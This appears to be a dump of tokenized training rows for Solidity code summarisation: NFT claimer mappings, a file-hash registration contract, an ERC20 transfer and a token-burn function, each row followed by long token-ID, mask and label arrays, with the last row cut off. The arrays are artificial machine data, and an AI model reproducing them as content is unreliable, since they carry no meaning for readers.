claimers[0x07b449319D200b1189406c58967348c5bA0D4083] = 634; // seq: 633 -> tkn_id: 634
claimers[0x9B6498Ef7F47223f5F7d466FC4D26c570C7b375F] = 635; // seq: 634 -> tkn_id: 635
claimers[0xA40F625ce8e06Db1C41Bb7F8854C7d57644Ff9Cc] = 636; // seq: 635 -> tkn_id: 636
claimers[0x28864AF76e73B38e2C9D4e856Ea97F66947961aB] = 637; // seq: 636 -> tkn_id: 637
claimers[0x4aC4Ab29F4A87150D89D3fdd5cbC46112606E5e8] = 638; // seq: 637 -> tkn_id: 638
claimers[0x9D29BBF508cDf300D116FCA3cE3cd9d287850ccd] = 639; // seq: 638 -> tkn_id: 639
claimers[0xcC5Fb93A6e274Ac3C626a02B24F939b1307b46e1] = 640; // seq: 639 -> tkn_id: 640
claimers[0x0E590293aD7CB2Dd9968B7f16eac9614451A63E1] = 641; // seq: 640 -> tkn_id: 641
claimers[0x726d54570632b30c957E60CFf44AD4eE2b559dB6] = 642; // seq: 641 -> tkn_id: 642
claimers[0xE2927F7f6618E71A86CE3F8F5AC32B5BbFe163a6] = 643; // seq: 642 -> tkn_id: 643
claimers[0x3C7DEd16d0E5b5bA9fb3DE539ed28cb7B7D8C95C] = 644; // seq: 643 -> tkn_id: 644
claimers[0xB7c3A0928c06A80DC4A4CDc9dC0aec33E047A4c8] = 645; // seq: 644 -> tkn_id: 645
claimers[0x95f26898b144FF93283d38d0B1A92b69f90d3123] = 646; // seq: 645 -> tkn_id: 646
claimers[0x95a788A34b7781eF34660196BB615A97F7e7d2B8] = 647; // seq: 646 -> tkn_id: 647
claimers[0x317EA9Dd8fCac5A6Fd94eB2959FeC690931b61b8] = 648; // seq: 647 -> tkn_id: 648
claimers[0x2CE83785eD44961959bf5251e85af897Ba9ddAC7] = 649; // seq: 648 -> tkn_id: 649
claimers[0xE144E7e3948dCA4AD395794031A0289a83b150A0] = 650; // seq: 649 -> tkn_id: 650
claimers[0x18668B0244949570ec637465BAFdDe4d082afa69] = 651; // seq: 650 -> tkn_id: 651
claimers[0xaba035729057984c7431a711436D3e51e947cbD4] = 652; // seq: 651 -> tkn_id: 652
claimers[0x2519410f255A52CDF22a7DFA870073b1357B30A7] = 653; // seq: 652 -> tkn_id: 653
claimers[0x63a12D51Ee95eF213404308e1F8a2805A0c21899] = 654; // seq: 653 -> tkn_id: 654
claimers[0x882bBB07991c5c2f65988fd077CdDF405FE5b56f] = 655; // seq: 654 -> tkn_id: 655
claimers[0x11f53fdAb3054a5cA63778659263aF0838b642b1] = 656; // seq: 655 -> tkn_id: 656
claimers[0x093E088901909dEecC1b4a1479fBcCE1FBEd31E7] = 657; // seq: 656 -> tkn_id: 657
claimers[0x3c5cBddC5D6D6720d51CB563134d72E20dc4C713] = 658; // seq: 657 -> tkn_id: 658
claimers[0x3Db111A09A2e77A8DD6d03dc3f089f4A0F4557E9] = 659; // seq: 658 -> tkn_id: 659
claimers[0x8F53cA524c1451A930DEA18926df964Fb72B10F1] = 660; // seq: 659 -> tkn_id: 660
claimers[0x22C535D5EccCF398997eabA19Aa3FAbd3fe6AA16] = 661; // seq: 660 -> tkn_id: 661
claimers[0x93dF35071B3bc1B6d16D5f5F20fbB2be9D50FE67] = 662; // seq: 661 -> tkn_id: 662
claimers[0xfE61D830b99E40b3E905CD7EcF4a08DD06fa7F03] = 663; // seq: 662 -> tkn_id: 663
claimers[0x9cB5FAF0801ac959a0d40b2A7D69Ed8E42F792eA] = 664; // seq: 663 -> tkn_id: 664
claimers[0xC5B0f2afEC01807D964D76aEce6dB2F093239619] = 665; // seq: 664 -> tkn_id: 665
claimers[0x9b279dbaB2aE483EEDD106a583ACbBCFd722CE79] = 666; // seq: 665 -> tkn_id: 666
claimers[0x429c74f7C7fe7d31a70289e9B4b54e0F7300f376] = 667; // seq: 666 -> tkn_id: 667
claimers[0xeD08e8D72D35428b28390B7334ebe7F9f7a64822] = 668; // seq: 667 -> tkn_id: 668
claimers[0xB468076716C800Ce1eB9e9F515488099cC838128] = 669; // seq: 668 -> tkn_id: 669
claimers[0x3D7A35c89f04Af71F453b33848B49714859D061c] = 670; // seq: 669 -> tkn_id: 670
claimers[0x7DcE9e613b3583C600255A230497DD77429b0e21] = 671; // seq: 670 -> tkn_id: 671
claimers[0x2B00CaD253E88924290fFC7FeE221D135A0f083a] = 672; // seq: 671 -> tkn_id: 672
claimers[0xA2A64dE6BEe8c68DBCC948609708Ae54801CBAd8] = 673; // seq: 672 -> tkn_id: 673
claimers[0x6F255406306D6D78e97a29F7f249f6d2d85d9801] = 674; // seq: 673 -> tkn_id: 674
claimers[0xcDaf4c2e205A8077F29BF1dfF9Bd0B6a501B72cB] = 675; // seq: 674 -> tkn_id: 675
claimers[0xC45bF67A729B9A2b98521CDbCbf8bc70d8b81af3] = 676; // seq: 675 -> tkn_id: 676
claimers[0x35205135F0883e6a59aF9cb64310c53003433122] = 677; // seq: 676 -> tkn_id: 677
claimers[0xbAFcFC93A2fb6a042CA87f3d70670E2c114CE9fd] = 678; // seq: 677 -> tkn_id: 678
claimers[0xf664D1363FcE2da5ebb9aA935ef11Ce07be012Db] = 679; // seq: 678 -> tkn_id: 679
claimers[0x57e7ce99461FDeA80Ae8a6292e58AEfe053ed3a3] = 680; // seq: 679 -> tkn_id: 680
claimers[0xbD0Ad704f38AfebbCb4BA891389938D4177A8A92] = 681; // seq: 680 -> tkn_id: 681
claimers[0x0962FEeC7d4f0fa0EBadf6cd2e1CB783103B41F4] = 682; // seq: 681 -> tkn_id: 682
claimers[0x9B89f9Fd0952009fd556b19B18d85dA1089D005C] = 683; // seq: 682 -> tkn_id: 683
claimers[0xa511CB01cCe9c221cC73a9f9231937Cf6baf1D1A] = 684; // seq: 683 -> tkn_id: 684
claimers[0x79e5c907b9d4Af5840C687e6975a1C530895454a] = 685; // seq: 684 -> tkn_id: 685
claimers[0xf782f0Bf9B741FdE0E7c7dA4f71c7E33554f8397] = 686; // seq: 685 -> tkn_id: 686
claimers[0x228Bb6C83e8d0767eD342dd333DDbD55Ad217a3D] = 687; // seq: 686 -> tkn_id: 687
claimers[0xf2f62B5C7B3395b0ACe219d1B91D8083f8394720] = 688; // seq: 687 -> tkn_id: 688
claimers[0x2A77484F4cca78a5B3f71c22A50e3A1b8583072D] = 689; // seq: 688 -> tkn_id: 689
claimers[0xbB85877c4AEa11A141FC107Dc8D2E43C4B04F8C8] = 690; // seq: 689 -> tkn_id: 690
claimers[0x0414B2A60f8d4b84dE036677f8780F59AFEc1b65] = 691; // seq: 690 -> tkn_id: 691
claimers[0xb3aA296e046E0EFBd734cfa5DCd447Ae3a5e6104] = 692; // seq: 691 -> tkn_id: 692
claimers[0xa6700EA3f19830e2e8b35363c2978cb9D5630303] = 693; // seq: 692 -> tkn_id: 693
claimers[0xF976106afd7ADE91F8dFc5167284AD57795b17B1] = 694; // seq: 693 -> tkn_id: 694
claimers[0x793E446AFFf802e20bdb496A64250622BE32Df29] = 695; // seq: 694 -> tkn_id: 695
claimers[0x2E72d671fa07be54ae9671f793895520268eF00E] = 696; // seq: 695 -> tkn_id: 696
claimers[0xB67c99dfb3422b61f9E38070f021eaB7B42e9CAF] = 697; // seq: 696 -> tkn_id: 697
claimers[0x0095D1f7804D32A7921b26D3Eb1229873D3B11E0] = 698; // seq: 697 -> tkn_id: 698
claimers[0xEf31D013E222AaD9Eb90df9fd466c758B7603FaB] = 699; // seq: 698 -> tkn_id: 699
claimers[0x9936f05D5cE4259D44Aa51d54c0C245652efcc11] = 700; // seq: 699 -> tkn_id: 700
claimers[0x58bb897f0612235FA7Ae324F9b9718a06A2f6df3] = 701; // seq: 700 -> tkn_id: 701
claimers[0xa2cF94Bf60B6a6C08488B756E6695d990574e9C7] = 702; // seq: 701 -> tkn_id: 702
claimers[0x47754f6dCb011A308c91a666c5245abbC577c9eD] = 703; // seq: 702 -> tkn_id: 703
claimers[0xB6a95916221Abef28339594161cd154Bc650c515] = 704; // seq: 703 -> tkn_id: 704
claimers[0xb0471Ad0fEFD2151Efaa6C8415b1dB984526c0a6] = 705; // seq: 704 -> tkn_id: 705
claimers[0xC869ce145a5a72985540285Efde28f5176F39bC9] = 706; // seq: 705 -> tkn_id: 706
claimers[0x79440849d5BA6Df5fb1F45Ff36BE3979F4271fa4] = 707; // seq: 706 -> tkn_id: 707
claimers[0xD54F610d744b64393386a354cf1ADD944cBD42c9] = 708; // seq: 707 -> tkn_id: 708
claimers[0x3b368E77F110e3FE1C8482F395E51D1f75e50e5f] = 709; // seq: 708 -> tkn_id: 709
claimers[0x529ccAFA5aC0d18E7402244859AF8664BA736919] = 710; // seq: 709 -> tkn_id: 710
claimers[0x686241b898D7616FF78e22cc45fb07e92A74B7B5] = 711; // seq: 710 -> tkn_id: 711
claimers[0xd859ad8D8DCA1eEC61529833685FE59FAb804E7d] = 712; // seq: 711 -> tkn_id: 712
claimers[0x5AbfC4E2bB4941BD6773f120573618Ba8a4f7863] = 713; // seq: 712 -> tkn_id: 713
claimers[0x17c1cF2eeFda3f339996c67cd18d4389D132D033] = 714; // seq: 713 -> tkn_id: 714
claimers[0x6Ce5B05f0C6A8129DE3C7fC3E69ca35Be3ECB35e] = 715; // seq: 714 -> tkn_id: 715
claimers[0x4B992870CF27A548921082be7B447fc3c0534509] = 716; // seq: 715 -> tkn_id: 716
claimers[0xa278039DEE9B1fC58164Ef7B6f5eC86de9786178] = 717; // seq: 716 -> tkn_id: 717
claimers[0xBa64c61B45340994bABF676544025BcCc0bE6A9e] = 718; // seq: 717 -> tkn_id: 718
claimers[0x3656f4d852f15986beBE025AEF64a40dF2A5d4a1] = 719; // seq: 718 -> tkn_id: 719
claimers[0x4A57385D14882d6d8FDB3916792E9585102d22DA] = 720; // seq: 719 -> tkn_id: 720
claimers[0x764108BAcf10e30F6f249d17E7612fB9008923F0] = 721; // seq: 720 -> tkn_id: 721
claimers[0x880BD9ec1d3b71Bda5249baCCC63E9a8e5902250] = 722; // seq: 721 -> tkn_id: 722
claimers[0x1195e87Ca87C8f5989ecBa2d569E64784E5820f9] = 723; // seq: 722 -> tkn_id: 723
claimers[0x8591D21143794463A69017944F555E272965db06] = 724; // seq: 723 -> tkn_id: 724
claimers[0x032c255E5a84C2E8Ca242f85098988D69b982E85] = 725; // seq: 724 -> tkn_id: 725
claimers[0xFD9bCD1F71Cb016079077F659Ee99f8AD834732A] = 726; // seq: 725 -> tkn_id: 726
claimers[0x6Be049Bb4688dFf540E7798433c925E21c70Ac25] = 727; // seq: 726 -> tkn_id: 727
claimers[0xFbFB1aD08f5d60d0243CC88E1EDf9eD5875d2EFe] = 728; // seq: 727 -> tkn_id: 728
claimers[0xeBe91f187bF0b29185a8e4A362392Aa3665030a1] = 729; // seq: 728 -> tkn_id: 729
claimers[0xF6666FCE84FDe632f33c1A881b6AC2C0f545D271] = 730; // seq: 729 -> tkn_id: 730 | seq: 702 -> tkn_id: 703
| claimers[0x47754f6dCb011A308c91a666c5245abbC577c9eD] = 703; | 12,655,198 | [
1,
5436,
30,
2371,
3103,
317,
13030,
82,
67,
350,
30,
2371,
4630,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
14784,
414,
63,
20,
92,
24,
4700,
6564,
74,
26,
72,
15237,
1611,
21,
37,
5082,
28,
71,
12416,
69,
25308,
71,
25,
3247,
25,
19364,
39,
25,
4700,
71,
29,
73,
40,
65,
273,
2371,
4630,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.21<0.6.0;
// ---------------------------------------------
// FileIdentityVerification.sol
// ---------------------------------------------
// Copyright (c) 2019 PLUSPLUS CO.,LTD.
// Released under the MIT license
// https://www.plusplus.jp/
// ---------------------------------------------
//
// File identity verification
//
contract FileIdentityVerification {
struct FileIdentity {
bytes32 keccak256hash;
string sha3hash;
address registrant;
uint timestamp;
uint isExist;
}
// Owner of Smart Contract
// スマートコントラクトのオーナー
address public owner;
// Cumulative number of hashes registered
// ハッシュを登録した累計回数
uint public number_of_hashes_registered;
// Number of valid hashes
// 有効なハッシュの数
uint public number_of_valid_hashes;
// Keep a list of hashes
// ハッシュの一覧を保持する
mapping(bytes32 => FileIdentity) private fileIdentityList;
modifier onlyOwner() {
require(msg.sender == owner, 'Only the owner is available.');
_;
}
string private NO_DATA = 'Data does not exist';
string private ALREADY_REGISTERED = 'It is already registered';
string private NO_DELETE_AUTHORITY = 'You do not have permission to delete';
// Events
event RegisterFileHash(address indexed _from, bytes32 _keccak256hash, string _sha3hash, uint _timestamp);
event RemoveFileHash(address indexed _from, bytes32 _keccak256hash, string _sha3hash, uint _timestamp);
constructor() public {
// The owner address is maintained.
owner = msg.sender;
number_of_hashes_registered = 0;
number_of_valid_hashes = 0;
}
// ファイル情報を照会
function getFileIdentity(bytes32 _keccak256hash) public view
returns (bytes32 keccak256hash, string sha3hash, address registrant, uint timestamp, uint isExist){
FileIdentity memory d = fileIdentityList[_keccak256hash];
return (d.keccak256hash, d.sha3hash, d.registrant, d.timestamp, d.isExist);
}
// Obtain a hash value
// ハッシュ値を得る
function getKeccak256Hash(string _sha3hash) public pure returns (bytes32) {
bytes32 keccak256hash = keccak256(abi.encodePacked(_sha3hash));
return keccak256hash;
}
// File existence check
// ファイルの存在チェック
function isExist(bytes32 _keccak256hash) public view returns (bool) {
if (fileIdentityList[_keccak256hash].isExist == 1) {
// exist
return true;
}
else {
// not exist
return false;
}
}
// Whether you are the owner of the file
// あなたがファイルの登録者であるか
function isYourRegistration(bytes32 _keccak256hash) public view returns (bool) {
require(isExist(_keccak256hash) == true, NO_DATA);
if (msg.sender == fileIdentityList[_keccak256hash].registrant) {
return true;
}
else {
return false;
}
}
// Register file hash
// ファイルハッシュを登録する
function registerFileHash(string _sha3hash) public returns (bool) {
bytes32 _keccak256hash = getKeccak256Hash(_sha3hash);
require(isExist(_keccak256hash) == false, ALREADY_REGISTERED);
uint ts = block.timestamp;
fileIdentityList[_keccak256hash].isExist = 1;
fileIdentityList[_keccak256hash].keccak256hash = _keccak256hash;
fileIdentityList[_keccak256hash].sha3hash = _sha3hash;
fileIdentityList[_keccak256hash].registrant = msg.sender;
fileIdentityList[_keccak256hash].timestamp = ts;
emit RegisterFileHash(msg.sender, _keccak256hash, _sha3hash, ts);
// Add actual registration number
// 実際の登録数
++number_of_valid_hashes;
// Add cumulative number
// 累計数
++number_of_hashes_registered;
return true;
}
// remove file hash
// ファイルハッシュを抹消する
function removeFileHash(bytes32 _keccak256hash) public returns (bool) {
require(isExist(_keccak256hash) == true, NO_DATA);
require(isYourRegistration(_keccak256hash) == true, NO_DELETE_AUTHORITY);
uint ts = block.timestamp;
bytes32 o_keccak256hash = fileIdentityList[_keccak256hash].keccak256hash;
string memory o_sha3hash = fileIdentityList[_keccak256hash].sha3hash;
delete fileIdentityList[_keccak256hash];
emit RemoveFileHash(msg.sender, o_keccak256hash, o_sha3hash, ts);
// Reduce the actual number of registrations
// 実際の登録数を減らす
--number_of_valid_hashes;
return true;
}
// ---------------------------------------------
// Destruction of a contract (only owner)
// ---------------------------------------------
function destory(string _delete_me) public onlyOwner {
// Delete by giving keyword
require(getKeccak256Hash('delete me') == getKeccak256Hash(_delete_me), 'The keywords do not match.');
selfdestruct(owner);
}
}
| Register file hash ファイルハッシュを登録する Add actual registration number 実際の登録数 Add cumulative number 累計数 | function registerFileHash(string _sha3hash) public returns (bool) {
bytes32 _keccak256hash = getKeccak256Hash(_sha3hash);
require(isExist(_keccak256hash) == false, ALREADY_REGISTERED);
uint ts = block.timestamp;
fileIdentityList[_keccak256hash].isExist = 1;
fileIdentityList[_keccak256hash].keccak256hash = _keccak256hash;
fileIdentityList[_keccak256hash].sha3hash = _sha3hash;
fileIdentityList[_keccak256hash].registrant = msg.sender;
fileIdentityList[_keccak256hash].timestamp = ts;
emit RegisterFileHash(msg.sender, _keccak256hash, _sha3hash, ts);
++number_of_valid_hashes;
++number_of_hashes_registered;
return true;
}
| 12,635,427 | [
1,
3996,
585,
1651,
225,
164,
230,
248,
164,
229,
99,
164,
229,
102,
164,
230,
109,
164,
230,
242,
164,
230,
230,
164,
229,
120,
164,
230,
103,
164,
229,
245,
168,
252,
124,
170,
239,
115,
164,
228,
252,
164,
229,
238,
1436,
3214,
7914,
1300,
225,
166,
111,
258,
170,
253,
254,
164,
228,
111,
168,
252,
124,
170,
239,
115,
167,
248,
113,
1436,
15582,
1300,
225,
168,
117,
112,
169,
106,
235,
167,
248,
113,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1744,
812,
2310,
12,
1080,
389,
7819,
23,
2816,
13,
1071,
1135,
261,
6430,
13,
288,
203,
203,
3639,
1731,
1578,
389,
79,
24410,
581,
5034,
2816,
273,
16566,
24410,
581,
5034,
2310,
24899,
7819,
23,
2816,
1769,
203,
203,
3639,
2583,
12,
291,
4786,
24899,
79,
24410,
581,
5034,
2816,
13,
422,
629,
16,
7981,
20305,
67,
27511,
2056,
1769,
203,
203,
3639,
2254,
3742,
273,
1203,
18,
5508,
31,
203,
203,
3639,
585,
4334,
682,
63,
67,
79,
24410,
581,
5034,
2816,
8009,
291,
4786,
273,
404,
31,
203,
3639,
585,
4334,
682,
63,
67,
79,
24410,
581,
5034,
2816,
8009,
79,
24410,
581,
5034,
2816,
273,
389,
79,
24410,
581,
5034,
2816,
31,
203,
3639,
585,
4334,
682,
63,
67,
79,
24410,
581,
5034,
2816,
8009,
7819,
23,
2816,
273,
389,
7819,
23,
2816,
31,
203,
3639,
585,
4334,
682,
63,
67,
79,
24410,
581,
5034,
2816,
8009,
1574,
3337,
970,
273,
1234,
18,
15330,
31,
203,
3639,
585,
4334,
682,
63,
67,
79,
24410,
581,
5034,
2816,
8009,
5508,
273,
3742,
31,
203,
203,
3639,
3626,
5433,
812,
2310,
12,
3576,
18,
15330,
16,
389,
79,
24410,
581,
5034,
2816,
16,
389,
7819,
23,
2816,
16,
3742,
1769,
203,
203,
3639,
965,
2696,
67,
792,
67,
877,
67,
17612,
31,
203,
203,
3639,
965,
2696,
67,
792,
67,
17612,
67,
14327,
31,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0xc1C140B62d311e009d9bf56ceDF629d6bcAEE4a5/sources/contracts/DAIToken.sol | --- ERC20 Mutations --- | function transfer(address to, uint256 value) external returns (bool) {
require(to != address(0) && to != address(this), "Dai/invalid-address");
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "Dai/insufficient-balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
| 16,241,371 | [
1,
6062,
4232,
39,
3462,
14138,
1012,
9948,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
7412,
12,
2867,
358,
16,
2254,
5034,
460,
13,
3903,
1135,
261,
6430,
13,
288,
203,
565,
2583,
12,
869,
480,
1758,
12,
20,
13,
597,
358,
480,
1758,
12,
2211,
3631,
315,
40,
10658,
19,
5387,
17,
2867,
8863,
203,
565,
2254,
5034,
11013,
273,
11013,
951,
63,
3576,
18,
15330,
15533,
203,
565,
2583,
12,
12296,
1545,
460,
16,
315,
40,
10658,
19,
2679,
11339,
17,
12296,
8863,
203,
203,
565,
11013,
951,
63,
3576,
18,
15330,
65,
273,
11013,
300,
460,
31,
203,
565,
11013,
951,
63,
869,
65,
1011,
460,
31,
203,
203,
565,
3626,
12279,
12,
3576,
18,
15330,
16,
358,
16,
460,
1769,
203,
203,
565,
327,
638,
31,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0xA6e0dF13707C02e620471fa91bdb6Dd1371b04B6/sources/browser/pinkunicorns.sol | burn supply, not negative rebase | function verysmashed() external {
require(!state.paused, "still paused");
require(state.lastAttack + state.attackCooldown < block.timestamp, "Reload Unicorns");
uint256 rLp = state.accounts[state.addresses.pool].rTotal;
uint256 amountToDeflate = (rLp / (state.divisors.tokenLPBurn));
uint256 burned = amountToDeflate / ratio();
state.accounts[state.addresses.pool].rTotal -= amountToDeflate;
state.accounts[address(0)].rTotal += amountToDeflate;
state.accounts[address(0)].tTotal += burned;
state.balances.burned += burned;
state.lastAttack = block.timestamp;
syncPool();
emit Smashed(burned);
}
| 8,101,371 | [
1,
70,
321,
14467,
16,
486,
6092,
283,
1969,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
8572,
4808,
13912,
1435,
3903,
225,
288,
203,
3639,
2583,
12,
5,
2019,
18,
8774,
3668,
16,
315,
334,
737,
17781,
8863,
203,
3639,
2583,
12,
2019,
18,
2722,
3075,
484,
